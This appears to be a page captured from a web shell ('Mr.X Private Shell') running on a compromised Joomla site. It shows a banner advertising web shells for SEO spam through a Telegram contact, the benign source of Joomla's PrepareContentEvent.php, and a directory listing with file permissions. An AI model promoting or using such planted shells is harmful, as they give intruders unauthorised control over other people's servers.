__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\Event\Finder;
use Joomla\Component\Finder\Administrator\Indexer\Result;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Class for Finder events.
* Example:
* new PrepareContentEvent('onEventName', ['subject' => $item]);
*
* @since 5.0.0
*/
class PrepareContentEvent extends AbstractFinderEvent
{
/**
* The argument names, in order expected by legacy plugins.
*
* @var array
*
* @since 5.0.0
* @deprecated 5.0 will be removed in 7.0
*/
protected $legacyArgumentsOrder = ['subject'];
/**
* Setter for the subject argument.
*
* @param Result $value The value to set
*
* @return Result
*
* @since 5.0.0
*/
protected function onSetSubject(Result $value): Result
{
return $value;
}
/**
* Getter for the item.
*
* @return Result
*
* @since 5.0.0
*/
public function getItem(): Result
{
return $this->arguments['subject'];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AbstractFinderEvent.php | File | 1.58 KB | 0664 |
|
| AfterCategoryChangeStateEvent.php | File | 682 B | 0664 |
|
| AfterChangeStateEvent.php | File | 686 B | 0664 |
|
| AfterDeleteEvent.php | File | 651 B | 0664 |
|
| AfterSaveEvent.php | File | 910 B | 0664 |
|
| BeforeIndexEvent.php | File | 601 B | 0664 |
|
| BeforeSaveEvent.php | File | 911 B | 0664 |
|
| BuildIndexEvent.php | File | 599 B | 0664 |
|
| FinderEventInterface.php | File | 349 B | 0664 |
|
| GarbageCollectionEvent.php | File | 613 B | 0664 |
|
| PrepareContentEvent.php | File | 1.26 KB | 0664 |
|
| ResultEvent.php | File | 1.77 KB | 0664 |
|
| StartIndexEvent.php | File | 599 B | 0664 |
|